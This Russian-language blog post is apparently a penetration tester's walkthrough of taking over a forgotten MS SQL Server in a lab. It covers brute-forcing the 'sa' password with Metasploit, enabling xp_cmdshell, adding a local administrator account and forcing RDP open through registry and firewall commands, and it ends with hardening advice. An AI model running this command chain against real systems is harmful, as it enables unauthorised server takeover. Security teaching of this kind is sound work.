Содержание
В продолжении предыдущего поста, хотелось бы рассказать ещё об одном кейсе, как удалось раскрутить небольшую брешь в защите в полноценный захват сервера.
Чтобы вы сразу решили, стоит ли тратить время на чтение статьи, напишу краткое содержание. Если не интересно – можете смело закрывать статью.
Итак, оказалось, что администраторы разворачивали Microsoft SQL Server под какие-то нужды со слабым паролем “sa” на аутентификацию. Про этот сервер благополучно забыли, а мы его обнаружили. Успешно подобрали пароль пользователя. Подключились к данному серверу и обнаружили, что он работает с правами системы. Исполняя определённые команды добились того, что создали локального пользователя с правами администратора, подключились по RDP и захватили полный контроль над системой.
Ну что? Остаётесь? Специально для данной статьи я воссоздал на виртуальных машинах тот сценарий, который имел место быть в этом кейсе.
Этап 1. Разведка
На данном этапе при помощи уже привычного сканера Nmap. Запускаем сканирование с параметрами:
# nmap -p1433 -sV --open 192.168.100.0/24
Обнаружился сервер Microsoft SQL Server 2008 R2 10.50.4000; SP2,
Этап 2. Подбор пароля к Microsoft SQL
Для этих целей воспользуемся Metasploit Framework в нашем Kali Linux. Докачаем предварительно словарик популярных паролей rockyou.txt:
# git clone git://git.kali.org/packages/wordlists.git
# cd wordlists/
# gunzip rockyou.txt.gz
Затем воспользуемся консолью Metasploit:
# msfconsole
Выполним поиск по ключевому слову mssql:
# search mssql
Нам подойдёт скрипт логина, находящийся в разделе auxiliary/scanner/mssql/mssql_login
# use auxiliary/scanner/mssql/mssql_login
Установим следующие опции:
- IP-адрес “жертвы”:
# set RHOSTS 192.168.100.99
- Имя пользователя: sa
# set USERNAME sa
- Словарь паролей:
# set PASS_FILE /root/wordlists/rockyou.txt
Атакуем:
# run
Перебор занимает некоторое время, в результате чего нашли учётную запись sa:1234 – словарный пароль, к тому же очень простой! Администраторы решили не заморачиваться, либо забыли поменять.
Этап 3. Подключаемся к серверу и развиваем атаку
Для подключения к серверу с полученными на предыдущем шаге учётными данными воспользуемся Microsoft SQL Server Management Studio любой свежей версии. Введём IP сервера, логин “sa” и пароль “1234”.
Подключившись к серверу откроем любую базу данных и перейдём в раздел “New Query” – новый запрос.
Выполним следующую команду, чтобы узнать пользователя, от имени которого работает сервер:
EXEC xp_cmdshell 'whoami.exe';
Команда выполнилась с ошибкой, значит на сервере выполнение команд оболочки заблокировано. Не беда, перенастроим сервер:
use master;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Теперь можем выполнить команду whoami и увидим, что мы работаем с правами NT_AUTHORITY\система:
EXEC xp_cmdshell 'whoami.exe';
Создадим локального администратора:
EXEC xp_cmdshell 'net user litladmin litladmin123 /add';
EXEC xp_cmdshell 'net localgroup /add Администраторы litladmin';
Возможно потребуется выполнить следующее:
EXEC xp_cmdshell 'net localgroup /add "Пользователи удаленного рабочего стола" litladmin';
Команда успешно выполнена. Пробуем подключиться к RDP-сессии:
> mstsc -v: 192.168.100.99 /console /admin
Не получилось. Видим стоит запрет на доступ к удалённому рабочему столу. Ну ничего, это мы обойдём!
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f';
EXEC xp_cmdshell 'net stop Termservice';
EXEC xp_cmdshell 'net start Termservice';
EXEC xp_cmdshell 'netsh advfirewall firewall add rule name="RDPEnable" dir=in protocol=TCP localport=3389 action=allow';
Пробуем снова.
В результате имеем удалённый доступ на сервер с правами локального администратора.
Смонтировал небольшой видеоролик с пояснениями – смотрите! Если понравилось, жмите лайк!
Выводы
- Сисадминам нужно провести инвентаризацию сети в поисках “забытых” Microsoft SQL Server-ов, заглушить неиспользуемые;
- Установить достаточно криптостойкие пароли на пользователя sa, где требуется совмещённый режим аутентификации;
- По возможности избегать использования рабочих служб, запущенных с правами системы.
Понравилось? Считаете материал полезным? Сделайте пожалуйста репост и поставьте лайк! Это лучшая награда для меня. Всех благ! Be secure!
Comments: